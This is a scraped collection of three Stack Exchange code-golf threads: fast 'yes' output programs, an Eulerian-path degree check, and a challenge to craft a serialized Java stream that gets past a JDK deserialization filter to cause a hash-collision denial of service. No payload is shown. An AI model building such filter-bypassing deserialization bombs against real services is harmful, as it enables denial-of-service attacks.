@PeterCordes I think it's BTRFS because of how the backups work, but you can check containers_and_vms for more info. It's known upstream, but it's not (currently, maybe at all) being fixed. I heard something about it being caused by 9p. The container still ran after it filled up, but it was read-only. After that it stopped starting up (presumably because lxc couldn't write log-files).

x86 machine code - 21 15 bytes, score : 175119.036
Using write() syscall to print y\n
This is a NASM listing (y.asm) :
6  00000000 6668790A                    push word 0x0a79
7  00000004 43                          inc ebx
8  00000005 89E1                        mov ecx, esp
9  00000007 B202                        mov dl, 2
10                                  .loop:
11 00000009 B004                        mov al, 4
12 0000000B CD80                        int 0x80
13 0000000D EBFA                        jmp .loop

Using score.sh to get a score (./score.sh y "./y"), score  are : 175119.036

It appears you were golfing for minimal bytes, not speed score, since you used a tiny buffer.  (See my Linux x86-64 asm answer for that.)  You don't need to exit with status 0, so you can omit the xor ebx,ebx.  Also, you used an infinite loop anyway so the code after jmp .loop is unreachable and should be removed.  BTW, in NASM you can write push word \y\n`` instead of manually encoding the ASCII characters into a number.  But that's just style, not code-size.  I don't see anything else, and good use of the registers being initially zero in a static executable under Linux.

Python 3, 34 bytes, 1.9GB/s, score \$\le\$ 31.507
a='y\n'*2**17
while 1:print(end=a)

Try it online!

I'd like to see the difference in results between 9999 and int(9e9). 4 extra characters, but a much higher number per print

@mazunki: Linux uses large enough I/O buffers that ~8kiB might keep up with the average throughput of the OP's disk, on the OP's Ryzen CPU.  A buffer size that's a multiple of 4kiB might be better though, so all the copies to the pagecache are whole pages, leading to the kernel using aligned memory accesses.  9e9 is so large that it's probably worse, leading to TLB misses and cache misses, and taking a lot of time to prepare in memory before even making one system call.  I'd try 8e4 (80kiB, comfortably smaller than L2 cache size, and a multiple of 64 = CPU cache line size).  Or 64<<9

Yes this is definitely faster on my comp now. Score is 31.507

@mazunki: I posted a machine-code answer with benchmarks for various buffer sizes on a Skylake CPU.  Presumably Python (with high interpreter overhead = more potential TLB and cache misses after returning from a syscall) will benefit from somewhat larger buffers, maybe cache-blocking for L3 instead of L2 size.

Rust, 49 48 bytes \$\times\,\frac{32186368}{744521728}\approx2.075\$
Plain Rust, compiled with -C target-cpu=native -C opt-level=3. Clearly not the winner, only for reference; not bad, btw :)

fn main(){loop{print!("{}","y\n".repeat(8192))}}

-1 byte thanks to Anders Kaseorg
Try it online!

The semicolon is unnecessary. This is really 24 times faster than yes for you, though? They run at about the same speed for me.

Very interesting, I rerun the code and I can confirm the results. Which version of Rust compiler are you using? Mine is 1.41.0.

1.41.1, but the surprising part is not that your Rust is so fast, but that your yes is so slow.

I run the code on mac OS X. I tried the same code on a VM with Linux on the same machine and I got a completely different result: 39.28. Maybe there is something different in the implementation of terminal command yes in OS X. BTW, very interesting...

MacOS has some equivalent to Linux strace (like dtrace or truss or something?) that would let you trace the system calls their yes is making.  It might be using a very small buffer, leading to high system-call overhead, unlike the GNU coreutils version that uses 8kiB writes.

brainfuck, 30*971956224/621731~46899.2
>+[>+[<]>->+]++++++++++<[.>.<]

Try it online!
The BF JIT that I'm using prints each character in a separate syscall. An implementation that coalesces multiple . commands into one syscall would likely perform better.
Thanks to the list of BF constants.

Jyxal 0ea7043bf37cd78106cde8f664e452f87286673b, ~31.551 on my machine
{9999`y\n`*₴}

Timed using an aging laptop with an Intel Core i5 4th gen, 8 GB ram, using WSL. It uses Vyxal's codepage, so I modified score.sh to use the -m flag instead of -c. Jyxal is a flavor of Vyxal designed for maximum speed. Unfortunately, I could not apply my push-pop optimizations in this case that really make Jyxal fast. Also for some weird reason multiplying the string inside the loop seems to be faster than outside...
{9999`y\n`*₴} # Ze program
{           } # An infinite loop
     `y\n`    # The string "y\n"
 9999     *   # Repeated 9999 times...
           ₴  # Printed without a newline

How to run
Jyxal isn't exactly released yet, you'd have to built it yourself. Clone the repo at commit 0ea7043bf37cd78106cde8f664e452f87286673b and then run ./gradlew shadowJar. You will find the compiled compiler in /build/libs/. Then create a file with the Jyxal program, and compile it with java -jar Jyxal-1.0-SNAPSHOT-all.jar yourProgram.txt. The run the compiled program using java -jar yourProgram.jar. All Java-related steps require Java 17 or higher.

Python 3, 18 bytes \$\times\frac{16834568}{622668}\approx486.65\$
while 1:print('y')

Try it online!

Japt, 6 bytes
No clue how the scoring in this challenge works.
@Opy}a

Try it online!
@          :Function
 Opy       :  Print "y"
    }      :End function
     a     :Call repeatedly until it returns a truthy value
           :(Japt's O.p() method returns undefined)

You gotta be fast.

x86-32 Linux, 26 bytes (ungolfed), 1.5M
write syscall test. Produces a very underwhelming result.
main:
    push    $0x0A79     # "y\n"
    mov     $1, %ebx    # write to stdout (fd=1)
    mov     %esp, %ecx  # use chars on stack
    mov     $2, %edx    # write 2 chars

loop:
    mov     $4, %eax    # sys_write call number
    int     $0x80
    jmp     loop

It's just called x86. You can improve the result by buffering.

It has to be compiled as 32 bit on Linux to make use of the ABI.

You could save 1 byte with pushw (costs operand-size prefix, saves 2 bytes of immediate).  Obviously a slow int $0x80 for every 2 bytes is garbage for performance.  (Worse than sysenter or 64-bit syscall; you could have made a 64-bit version of this with the same code-size; push rsp; pop rsi.)  Also, with Spectre mitigation and so on, every syscall has quite a lot of extra overhead (even on AMD where Meltdown / MDS mitigation isn't needed).  So the optimal buffer size to amortize syscall overhead vs. cache-miss cost might be higher.

rep stosw or rep stosd seem obviously good for filling a buffer of 8k or 128k or something on the stack.  And BTW, x86-64 __NR_write is 1, same as the stdout FD, so you just need a 2-byte mov reg,reg

work in progress I'll post after supper: https://godbolt.org/z/J358ax x86-64 NASM uses the stack for a buffer, or BSS is smaller.  Power of 2 buffer sizes between 65536 and 262144 seem to be the sweet spot on i7-6700k (DDR4-2666, EPP=balance_power: 3.9GHz) for writing into a 1GB tmpfs until ENOSPC (sudo mount -t tmpfs -o size=1G,huge=always tmpfs /tmp/testd to enable tmpfs hugepages).  Should correlate to how (non) CPU-bound it is on Ryzen writing to SSD.

yeah I wondered how slow the naive solution of writing one line at a time is. It is the better for golfing but obviously very slow. but I got too lazy to golf properly.

Ok, posted an answer which outperforms GNU coreutils yes on tmpfs.  I included benchmark results for buffer sizes of 2 and 4 bytes, and a range of powers of 2 from 1024B to 256MiB.

05AB1E (legacy) / 05AB1E, 4 bytes, score: waiting for OP
['y,

Or alternatively:
'y[=

Try it online.
Not sure which combination is the shortest, so for now this answer has four possible variations:

05AB1E (legacy) with program ['y,
05AB1E (legacy) with program 'y[=
05AB1E with program ['y,
05AB1E with program 'y[=

The 05AB1E (legacy) version is compiled and run in Python 3, and the 05AB1E version is compiled and run in Elixir. Based on performance on TIO for most challenges I did, I assume the legacy version will score much better.
I will leave just one of these four combinations with the largest output after OP's local test. The links provided contain instructions on how to install and run both 05AB1E and 05AB1E (legacy) locally.
Explanation:
[     # Loop indefinitely:
 'y  '#  Push string "y"
   ,  #  Pop and output it with trailing newline

'y   '# Push string "y"
  [   # Loop indefinitely:
   =  #  Output with trailing newline (without popping)

Lazy but the shortest !

Pyth, 10 bytes \$\times\frac{1894125568}{1599025152}\approx11.846\$
#p*^9 5"y

Explanation:
#           :  Loop till error
   ^9 5     :  Evaluates to 9 ^ 5 (59049)
  *    "y\n :  Concatenates "y\n" to itself 59049 times
 p          :  Print without trailing newline

Try it online!

GFortran, 24 bytes, score: 49.179
yes1.f90   Try it online
do;print*,'y';enddo
end

Might be faster to use FPUT??, for 52 bytes:
yes2.f90   Try it online
do;call fput('y');call fput(new_line(''));enddo
end

Run the code
//Compile
$ gfortran -std=gnu -Wextra -Wall -pedantic -ffree-form -fcheck=all -fbacktrace yes1.f90 -o yes1.a
$ gfortran -std=gnu -Wextra -Wall -pedantic -ffree-form -fcheck=all -fbacktrace yes2.f90 -o yes2.a

//Run the test
$ timeout 1s yes > out0
$ timeout 1s yes1.a > out1
$ timeout 1s yes2.a > out2

//File sizes
-rw-r--r--  1  staff  29306880  6 Mar 18:43 yes.out
-rw-r--r--  1  staff        24  6 Mar 18:57 yes1.f90
-rw-r--r--  1  staff  14302020  6 Mar 18:51 yes1.out
-rw-r--r--  1  staff        52  6 Mar 18:57 yes2.f90
-rw-r--r--  1  staff  18071552  6 Mar 18:39 yes2.out

//Scores
$ bc<<<"scale=3;24*29306880/14302020"
49.179
$ bc<<<"scale=3;52*29306880/18071552"
84.329

My system (inferior to the OP):
$ neofetch --off
OS: macOS 11.2 20D64 x86_64
Host: MacBookPro13,2
Kernel: 20.3.0
CPU: Intel i5-6267U (4) @ 2.90GHz
GPU: Intel Iris Graphics 550
Memory: 5500MiB / 8192MiB

Could save 2 bytes for yes1.f90 if so inclined... but I'm not

C (clang), 57 54 bytes  \$\times\frac{44152832}{45940736}\approx51.8984\$
Saved 3 bytes thanks to @S.S.Anne!!!
#define p putchar_unlocked
main(){for(;;p(10))p('y');}

Try it online!
This is on my ancient tablet, probability better on my laptop that's far away right now - on holiday! :))))

54 bytes

@S.S.Anne Oh, very good with for golf - thanks! :-)

Compact, but I'm not confident even putchar_unlocked or fputs_unlocked("y", stdout) could manage 1.9GB/s, even on a fast CPU like the OP's Zen.  So it's a question of how much slower than just re-writing the same large buffers this is, and which is higher in the scoring system vs. the other C answers that create an 8kB or so buffer.

@PeterCordes Yup, was thinking that's got to be better. :-)

Yes this does poorly on my comp: 275.913. Buffers are really that critical it seems

@hLk Makes sense, this shows that buffers are doing their job. Providing a fast way to store output and using an expensive (timewise) system call to write only occasionally (when the buffers full).


text:
Drawing one-liner
CodeDrawing one-liner
Teaser
Behold this formidable drawing:

Can you draw this in a single stroke? Give it a try.
Can you do this one, now:

Give it a try.
How it works
These "make this drawing with one pen stroke" problems are graph-theory problems with a rather simple solution. For each vertex, compute its degree. If all vertices have an even degree or if only two vertices have an odd degree, this is possible. In any other case, it is impossible. This is the same as finding an Eulerian path in the graph. This is also related to the very famous seven bridges of Königsberg puzzle.
For the first drawing, the degrees are
   2
 /   \
4-----4
|\   /|
|  4  |
|/   \|
3-----3

so we are in the second possible case, as all numbers are even except for the two 3s in the bottom. What is more, when we have odd numbers, we have to start in one of them and finish in the other. When everything is even, we can start wherever we want but we will finish where we started.
For the second drawing it is impossible, as there are too many odd degrees:
     2
   /   \
  5-----5
 /|\   /|\
2 |  4  | 2
 \|/   \|/
  5-----5
   \   /
     2

Task
Given the degrees of the edges as input, decide if a corresponding drawing could be done in a single pen stroke. Output Truthy if such a feat is possible and output Falsy otherwise.
Input
The degrees of the vertices in any sensible format, such as

an array of integers like [2,4,4,4,3,3] or [2,5,5,2,4,2,5,5,2]
separate arguments to a function, like f(2,4,4,4,3,3) or f(2,5,5,2,4,2,5,5,2)

Output
A Truthy value if all numbers are even or exactly two of them are odd, Falsy otherwise.
Test cases
Truthy
[2, 4, 4, 3, 3]
[2, 2]
[1, 2, 3, 4, 6, 8]
[2, 4, 2, 4, 2, 4, 2, 4]
[8, 6, 8, 2, 2, 3, 11]
[1, 3]
[8]

Falsy
[1, 2, 3, 4, 5, 6]
[2, 3]
[9]
[7, 2, 2, 2]
[4, 2, 7]
[3, 3, 3, 3]
[1, 2, 3, 1, 1]
[1, 1, 4, 1, 1]
[7, 7, 7, 7, 7, 7, 7, 7]

This is code-golf so shortest submission in bytes, wins! If you liked this challenge, consider upvoting it... And happy golfing!

Amazingly, none of your falsy test cases can really come from a graph!

@ChristianSievers included a couple of test cases from trees and the complete graphs on 4 and 8 vertices :) but I wasn't excluding the possibility of a graph having self-loops or multiple edges, so these could come from multi-graphs :)

Even then the sum of the degrees should be twice the number of edges and therefore an even number

@ChristianSievers yes, and so what? :)

Are you saying impossible lists of integers may be inputs? If so I think it should be clear in the spec (i.e. "The degrees of the vertices" would not be a correct description of the input).

As far as I know, these conditions are necessary but not sufficient i.e. one-strokyness implies them, but not the other way around

@VaradMahashabde the conditions are equivalent to the one-strokeyness, actually :) you can read about it by googling Eulerian path. The idea is that, as you traverse the edges, whenever you arrive at a vertex you must be able to leave it, thus requiring vertices to have even degree. This has one exception: if you don't arrive at the vertex from where you left, then those two vertices must have odd degree. Of course all of this is happening in a connected graph :)

Related puzzle https://codeforces.com/problemset/problem/788/B

Python, 31 bytes
lambda l:sum(n%2for n in l)|2<3

Try it online!
We use k|2<3 to check that k is either 0 or 2. This works because the bit operation |2 sets the bit for place-value 2, so to get a result that's 2 or less, there must be no other bits set.

A really good golf, as per usual! +1

Wolfram Language (Mathematica), 25 bytes
(a=Tr@Mod[#,2])==0||a==2&

Try it online!

+1 on this really short submission! Tr is summing everything, right?

@RGS If I recall correctly, Tr calculates the trace of a matrix, but for a vector that's simply the sum of the elements.

05AB1E, 5 4 bytes
Thanks to 05AB1E's weird boolification system, any number but 1 is falsy.
-1 Thanks to Jonathan Allan
ÉO1α

Try it online!
Explanation
É     Vectorizing n % 2
 O    Sum the resulting list
  1α  |n - 1|

Are you going to submit answers in all the languages you know..? XD

I believe any integer but 1 is falsey in 05AB1E, if so you don't need the Θ.

This is incredibly short! Good job

Turing Machine But Way Worse, 1245 bytes
0 0 0 1 1 0 0
0 1 0 1 2 0 0
1 2 1 1 3 0 0
1 3 1 1 4 0 0
0 4 0 1 5 0 0
1 4 1 1 5 0 0
0 5 0 1 6 0 0
1 5 1 1 6 0 0
0 6 0 1 7 0 0
1 6 1 1 7 0 0
0 7 0 1 0 0 0
1 7 1 1 8 0 0
0 8 0 1 9 0 0
0 9 0 1 a 0 0
1 a 1 1 b 0 0
1 b 1 1 c 0 0
0 c 0 1 d 0 0
1 c 1 1 d 0 0
0 d 0 1 e 0 0
1 d 1 1 e 0 0
0 e 0 1 f 0 0
1 e 1 1 f 0 0
0 f 0 1 0 0 0
1 f 1 1 8 0 0
0 b 0 1 k 0 0
0 3 0 1 4 0 0
0 g 0 1 h 0 0
0 h 0 1 i 0 0
1 i 1 1 j 0 0
1 j 1 1 k 0 0
0 k 0 1 l 0 0
1 k 1 1 l 0 0
0 l 0 1 m 0 0
1 l 1 1 m 0 0
0 m 0 1 n 0 0
1 m 1 1 n 0 0
0 n 0 1 g 0 0
1 n 1 1 o 0 0
0 o 0 1 p 0 0
0 p 0 1 q 0 0
1 q 1 1 r 0 0
1 r 1 1 s 0 0
0 s 0 1 t 0 0
1 s 1 1 t 0 0
0 t 0 1 u 0 0
1 t 1 1 u 0 0
0 u 0 1 v 0 0
1 u 1 1 v 0 0
0 v 0 1 g 0 0
1 v 1 1 o 0 0
0 r 0 1 A 0 0
0 j 0 1 k 0 0
0 w 0 1 x 0 0
0 x 0 1 y 0 0
1 y 1 1 z 0 0
1 z 1 1 A 0 0
0 A 0 1 B 0 0
1 A 1 1 B 0 0
0 B 0 1 C 0 0
1 B 1 1 C 0 0
0 C 0 1 D 0 0
1 C 1 1 D 0 0
0 D 0 1 w 0 0
1 D 1 1 E 0 0
0 E 0 1 F 0 0
0 F 0 1 G 0 0
1 G 1 1 H 0 0
1 H 1 1 I 0 0
0 I 0 1 J 0 0
1 I 1 1 J 0 0
0 J 0 1 K 0 0
1 J 1 1 K 0 0
0 K 0 1 L 0 0
1 K 1 1 L 0 0
0 L 0 1 w 0 0
1 L 1 1 E 0 0
0 H 0 1 0 0 1
0 z 0 1 A 0 0
0 2 1 1 M 0 0
0 y 1 1 M 0 0
0 q 1 1 M 0 0
0 M 1 1 N 0 0
0 N 0 1 O 0 0
0 O 0 1 P 0 0
0 P 0 1 Q 0 0
0 Q 1 1 0 1 1
0 a 0 1 0 0 1
0 i 0 1 0 0 1
0 G 0 1 0 0 1

Try it online!
Input: A list like n, n, n, n, ...
Output: (blank) for falsy, 1 for truthy

I take my hat off to you for your work :p +1

I didn't realize this existed until today. I'm so honored to have someone use my programming language-- especially when it's for a non-trivial problem-- so this is the first time I've come back from the dead on SE just to upvote this solution.

Charcoal, 8 bytes
⁼¹↔⊖Σ﹪Ａ²

Try it online! Link is to verbose version of code. Port of @ovs' 05AB1E answer. Explanation:
      Ａ     Input array
     ﹪ ²    Vectorised modulo literal 2
    Σ       Sum
   ⊖        Decremented
  ↔         Absolute
⁼¹          Equals literal 1

There are other ways to check for 0 or 2 for the same byte count, such as Not(Decremented(Absolute(Decremented(...)))), Equals(2, BitwiseOr(2, ...)), or Count("02", Cast(...)) (careful not to use "20" of course).

Thanks for your submission! +1

Retina 0.8.2, 18 bytes
M`[13579]\b
^[02]$

Try it online! Link includes test cases. Explanation:
M`[13579]\b

Count the number of odd numbers.
^[02]$

Compare to 0 or 2.

JavaScript (ES6), 29 bytes
a=>a.map(x=>m>>=x&1,m=5)&&m&1

Try it online!
How?
We start with the bitmask \$m=101_2=5_{10}\$ and right-shift it by one position for each odd value in the input array. The final result is given by the parity of \$m\$.

Ah this feels really clever! +1

C# (Visual C# Interactive Compiler), 26 bytes
p=>(p.Count(n=>n%2>0)|2)<3

Try it online!
Thanks to answer of @xnor -1B
27 bytes
p=>(p.Count(n=>n%2>0)&-3)<1

Try it online!
This one was my first attempt, but I made mistake at first so I'm publishing it now when I fixed it.

Also a port of the python answer, right? +1

At first I made it by myself, but I made mistake when checking if the count is 0 or 2 so it didn't work as i expected so I got inspired by the |2<3 part. But I found the mistake now, so I will add my original thought (one byte longer)

really nice answers! Thanks for sharing

22

Excel, 50 bytes
=ISNUMBER(FIND(SUMPRODUCT(--(MOD(A:A,2)=1)),"02"))

MOD(A:A,2)=1 to find odd number
SUMPRODUCT() to count them
FIND(  ,"02") to check if 0 or 2
ISNUMBER() to converts to TRUE/FALSE
Feels very clunky,  hope to refine...

Looks nice :D +1

Python 3, 34 bytes
lambda a:sum(n%2for n in a)in(0,2)

Try it online!

Good job on this one! +1

05AB1E, 6 5 bytes
-1 byte thanks to a'_'.
ÉO<ÄΘ

Try it online!
Explanation
É       is the number odd (vectorizes over the input list)
 O      sum (number of odd values)
  <     decrement (number of odd values - 1)
   Ä    absolute value (|number of odd values - 1|)
    Θ   equal to 1 (|number of odd values - 1| == 1)

5 bytes by using a == 1 built-in. I guess you win.

@a'_' thanks a lot. It took me a while to understand this because lowercase and uppercase theta look much too similar.

@ovs let's ask Greece to change their alphabet a bit! +1 on your short submission

Bash + Unix utilities, 28 bytes
dc<<<`grep -c [13579]$`d2-*p

Try it online!
Input is on stdin: one number per line.
Output is on stdout: 0 is truthy, any non-zero value is falsy.
How it works:

grep counts the number n of lines ending with an odd digit;
dc then computes and prints n*(n-2), which is 0 iff n equals 0 or 2.

C++ (gcc), 73 64 bytes
I don't know why I keep trying.
int f(int*a,int s){int o=1;for(;s;)o+=a[--s]%2;return o%2&&o<4;}

Commented :
int f(int*a,int s){ // function definition

  int o=1;      // odd counter starts at 1 because then parity of truthy inputs is one

  for(;s;)          // Use size arg as counter and iterate backwards (Thanks @MitchellSpector)
    o+=a[--s]%2;    // check for odd, add parity

  return o%2&&o<4;  // Valid values for odd are 0 and 2 (or rather 1 and 3)
                    // Solve with parity and range check
}

TIO-k6qqj7ln

You keep trying because this is fun! +1

Nice...  Keeping the basic idea, here's how you can get it down from 73 to 64 bytes: int f(int*a,int s){int o=1;for(;s;)o+=a[--s]%2;return o%2&&o<4;}

@MitchellSpector My good coding practice of not editing the arguments is showing!!

Suggest o&o<4 instead of o%2&&o<4

MATL, 6 bytes
osq|1=

Try it online!
I herd we're portin 05AB1E solutions!
A port of Arnauld's JS solution while we're at it (8 bytes):
osW5w/ko Try it online!
And one of Gymhgy's Japt answer (6 bytes, 0 as Truthy, other numbers as Falsy):
os3_Z& Try it online! (though, os2FZ: is a more straightforward implementation of the idea in MATL Try it online!)

Julia 1.0, 15 bytes
~v=sum(v.%2)&-3

Try it online!
A port of Gymhgy's Japt answer (0 as Truthy, other numbers as Falsy).
17 bytes porting Arnauld's JS solution :
~v=5>>sum(v.%2)%2
Try it online!
And an obligatory port of the popular 05AB1E solution, at 19 bytes:
~v=abs(sum(v.%2)-1)
Try it online!

Chevron, 172 147 bytes
^__>^n
>^n>^t
^t~s>>^s
0>>^o
0>>^i
^i+1>>^i
^t,^i~c>>^c
->+2??^c~^_i
->-3
^n^c>^n
^n~o>>^z
^o+^z>>^o
^__>^n
->+2?^i=^s
->-9
^o-2>>^p
^o*^p>>^o
>^o

Takes numbers from stdin in the form 2 4 4 3 3.
Outputs 0 or -0 for truthy, anything else falsy.

Hey there, thanks for your submission! Could you please consider adding a tio link with the test cases?

Chevron isn't on tio yet, I'll work on that :)

@RGS it's not tio, but here's something to test on :) https://ch.superloach.xyz/

W d, 8 7 bytes
♦æ╥└¬y÷

Uncompressed:
2mJ1-z1=

Explanation
2m       % Modulo the list by 2, auto-vectorizes.
  J      % Sum the list.
   1-    % Decrement by 1.
     z   % Absolute value.
      1= % Is this 1?

When you look at this on mobile the first character is the moderator diamond.

Yes, but without the aeTLlyt.

Stax, 8 bytes
This method is shorter in Stax.
ƒ╟⌡≡ù₧╬)

Run and debug it
Explanation
{2%m       Map modulo 2 over the input
    |+     Sum the resulting list
      02\  In the list [0, 2]:
         # How many times does this number appear?

Keg, 13 bytes
÷⑷2%⑸⅀:0=$2=+

Try it online!
Simply using everyone else's algorithm!

Why bother coming up with your own algorithm if everyone else is doing great, right? +1

@RGS Exactly! Who cares about originality anyway! :P

Japt -!, 7 bytes
èu a1 É

Try it

Thanks for your submission! +1 were you the one designing the Japt interpreter?

Yes, @RGS, that interpreter is my creation.

it looks really good! I just wanted you to know that! Good job on that :)

PHP, 39 43 bytes
for(;$n=$argv[++$i];)$s+=$n%2;echo!($s&-3);

Try it online!

Thanks misread the question! Fixed.

@Arnauld thanks for the help here :)

Perl 5 -pa, 20 bytes
$_=(2|grep$_%2,@F)<3

Try it online!
Borrows the |2<3 trick from @xnor's Python answer

Good job porting xnor's trick and getting an answer shorter than his :)

Japt -!, 6 bytes
èu &-3

Try it
èu &-3        Full program taking in array of degrees U
èu            Amount of odd numbers in array
   &          Bitwise AND
    -3        With -3; -3 has very bit set except of the second bit (1111...11101)
-!            Zero -> True, Other numbers -> False

Thanks for the Japt submission! Can't you have several test cases in the Japt interpreter?

I understand, thanks for the explanation!!

GolfScript, 11 bytes
{2%+}*(2?(!

Try it online!
My first go at it, may shrink it a bit. I made it so 1 is true, 0 is false, but if you're okay with the other way around, I can do different things :)
Short explanation; Convert all the elements to mod 2 and sum them. The only valid answers would be 0 or 2. Now, subtract 1 and square them. 0 is -1 is 1. 2 is 1 is 1. 0 and 2 both give you 1. Lastly, subtract 1 and perform a not operation to make all non-0, non-2 values to a 0 and the 0-2s to a 1.
Kind of roundabout, and I'm sure I can cut two characters somewhere.

This looks nice! +1 thanks for your submission

APL (Dyalog Unicode), 10 bytesSBCS
0 2∊⍨1⊥2∘|

Try it online!
Because a challenge needs an APL answer.
How it works
0 2∊⍨1⊥2∘|
       2∘|  ⍝ Modulo 2
     1⊥     ⍝ Sum
0 2∊⍨       ⍝ Is member of [0 2]?

Yes it does! +1 for that :)

Whitespace, 102 bytes
[S S S N
_Push_0][S N
S _Dupe_0][N
S S N
_Create_Label_LOOP][S N
S _Dupe][S N
S _Dupe][T  N
T   T   _Read_STDIN_as_integer][T   T   T   _Retrieve][S N
S _Dupe_input][N
T   T   S N
_If_neg_Jump_to_Label_DONE][S S S T S N
_Push_2][T  S T T   _Modulo][T  S S S _Add][N
S N
N
_Jump_to_Label_LOOP][N
S S S N
_Create_Label_DONE][S N
N
_Discard][S N
S _Dupe][N
T   S T N
_If_0_Jump_to_Label_TRUTHY][S S S T S N
_Push_2][T  S S T   _Subtract][N
T   S T N
_If_0_Jump_to_Label_TRUTHY][T   N
S T _Print_as_integer][N
N
N
_Exit_program][N
S S T   N
_Create_Label_TRUTHY][S S S T   N
_Push_1][T  N
S T _Print_as_integer]

Letters S (space), T (tab), and N (new-line) added as highlighting only.
[..._some_action] added as explanation only.
Since Whitespace inputs one integer at a time, the input should contain a trailing -1 so it knows when to stop reading integers and the input is done.
Outputs 1/0 for truthy/falsey respectively.
Try it online (with raw spaces, tabs and new-lines only).
Explanation in pseudo-code:
Integer n = 0
Start LOOP:
  Integer i = STDIN as input
  If(i < 0):
    Jump to Label DONE
  n = n + (i modulo-2)
  Go to next iteration of LOOP

Label DONE:
  If(n == 0): Jump to Label TRUTHY
  If(n-2 == 0): Jump to Label TRUTHY
  Print 0 as integer to STDOUT
  Exit program

Label TRUTHY:
  Print 1 as integer to STDOUT

I was starting to fear this would never happen :( +1 for making me happy on a Monday morning! Quick question: when reading from stdin, is there a default way of knowing the input is over?

@RGS Whitespace only has two ways to read STDIN input: read as integer and read as character. So no, there isn't a default way of knowing the input is over, unless trying to read a next character that isn't there anymore, after which the program stops with an error. I usually use a newline as indicator when a string input is being asked; -1 if only positive integers are being asked; etc.

thanks! I was asking because the other day I read your "make a whitespace interpreter" challenge and as I read through the specs, I couldn't figure out how we'd know the input is over when programming in whitespace. For some reason I just kept thinking that, much like brainfck "reads" a 0 when input is over, whitespace must have a similar mechanism :p but it really doesn't need to and it doesn't have :)

MathGolf, 6 bytes
¥Σ(±1=

Try it online.
Explanation:
¥       # Take modulo-2 on each integer of the (implicit) input-list
 Σ      # Sum those
  (     # Decrease it by 1
   ±    # Take the absolute value
    1=  # And check whether this is equal to 1
        # (after which the entire stack joined together is output implicitly)

Cool subtracting by one and then absolute value to check for 0 and 2

Java 8, 28 bytes
s->(s.map(i->i%2).sum()|2)<3

Port of @xnor's Python answer
Try it online.
Explanation:
s->               // Method with IntStream parameter and boolean return-type
  (s.map(i->i%2)  //  Take modulo-2 for each value in the IntStream
    .sum()        //  And them sum those
    |2)           //  Take a bitwise-OR with 2
       <3         //  And check whether that is smaller than 3

Keep up the good work +1

Vyxal, 6 bytes
∺∑⨪Ȧ1=

Try it Online!
Just another port of the 05ab1e answer.

R, 30 29 bytes
Or **R>=4.1, 22 bytes by replacing the word function with a \.
Edit: -1 byte thanks to @Giuseppe.
function(v)sum(v%%2/2)%in%0:1

Try it online!
Almost straightforward approach.
Less straightforward, but used by many other answers, approach results in the same byte-count:
function(v)(sum(v%%2)-1)^2==1

Try it online!

29 bytes?

@Giuseppe nice one, thanks!

R, 28 bytes
function(v,w=sum(v%%2))w&w-2

Try it online!
Possibly an even-more-straightforward approach than pajonk's R answer: just check separately whether the sum of even elements w is non-zero (w) and also not 2 (w-2).

Vyxal, 5 bytes
∷∑‹ȧċ

Try it Online!
05ab1e port. Outputs 0 for possible + 1 for impossible. The last character can be removed if we can output 1 for possible and anything for impossible.

source: Stack Exchange

license: Creative Commons - Attribution Share-Alike - https://creativecommons.org/licenses/by-sa/4.0/

sort: votes


text:
Hash bomb filtrate
Pipe a short stream to the following Java program run with accompanying command line options, such that it prints true.
class Code implements java.io.Serializable {
    private static final long serialVersionUID = 0L;
    private static long count;
    @Override public int hashCode() {
        ++count;
        return super.hashCode();
    }
    public static void main(String[] args) throws Throwable {
        new java.io.ObjectInputStream(System.in).readObject();
        System.err.println(count != (int)count);
    }
}

java '-Djdk.serialFilter=maxarray=100000;maxdepth=16;maxrefs=500;Code;java.util.HashSet;java.util.Map$Entry;!*' Code

Rules

Shortest stream in bytes wins.
The program above must print true.
No fiddling with the command line - no aliasing, no running a weird shell, no putting nonsense in classpath, etc. (It does require the quotes. The Map$Entry bit is indeed weird.)
In case of issue, run on Oracle JDK13 current update at time of posting.
Tie breaker: size of stream in bytes when compressed with gzip --best (on my machine, if that's variable).

Probably post the source code to generate the stream, rather than some bytes.

I can pipe an empty stream to any program: echo -n ''|whatever_program, so what do you really want?

@ChristianSievers It's just a way of feeding the stream in without having to play about with files. Pipe (or redirect) the bytes into the program run as the specified command line - although I've noticed I've cropped the bit about printing true..

I don't understand this code. Could you specify the task for non-Java programmers please?

@JonathanAllan Have you seen some of the code on this site? The program reads in a serialised object and checks whether hashCode has been called at least 2^31 times. The -Djdk.serialFilter sets limits on deserialising the stream. Specs for the protocol are at https://docs.oracle.com/javase/7/docs/platform/serialization/spec/protocol.html and for the serial filter https://docs.oracle.com/en/java/javase/13/core/serialization-filtering1.html#GUID-8296D8E8-2B93-4B9A-856E-0A65AF9B8C66

How does our "stream" (is that a string of bytes?) cause hashCode to be called? Maybe an example would help? Referencing long documentation of part of the code isn't very helpful IMO - it doesn't help understand the task at hand and leads to more need to understand the Java language (e.g. "The ObjectStreamClass of its supertype, java.lang.reflect.Proxy" -what?).

@JonathanAllan It requires JVM-specific knowledge (though it's just bytes), in much the same way as this question https://codegolf.stackexchange.com/questions/180411/a-nasty-little-memory-leak is Python-spefic.

Right, so the answer to my question is "no" then. FWIW I don't believe the question you've linked to is a good fit here. I'll remove my VTC as unclear and see what those more familiar with the required subject matter think.

Welcome to the site!  In my opinion this sort of question is fine even if it targets only a specific sort of user.  I would suggest giving a bit of an explanation of your code or motivation for it though.

What the hell is happening here, there have been Java-only KOTH challenges since the beginning of the universe, but nobody complained by downvoting them into -3 and almost closing them...

@mypronounismonicareinstate the main reason that this question has not been received well is that it is very different from most other questions on this site. Most questions on this site are "here is a challenge, solve it within a boundary" - whether that is "as short as possible" for code-golf or "get the highest score" with KOTH. This is "here is a really hard challenge that I want to see someone solve" - the challenge is more in solving it at all than solving it in a specific way. A question like this would be better received on Puzzling SE, in my opinion, than here.

@Stephen I absolutely made sure it was soluble. (The first naïve solution that I got through the filter was 2963 bytes, 449 bytes gzip --best.) Pre-serial filter solutions are googlable.

@TomHawtin-tackline yep - I'm just making the point that for most casual users of this site, they prefer taking a solution and whittling it down rather than coming up with several thousand bytes before they start golfing. I assume someone is working on this, you're just not going to get quite the response that something that can be golfed to 50 bytes in Python would. :)

@Stephen That the data. The code that generated it is a function body of 21 (non-empty, non-comment) lines, all nicely laid out in verbose Java, and doesn't do anything special except write an object to an ObjectOutputStream.

This question could use a one-sentence summary that provides some context. I suggest:
Write the shortest exploit for the SerialDos java vulnerability that bypasses the jdk's protection against it.

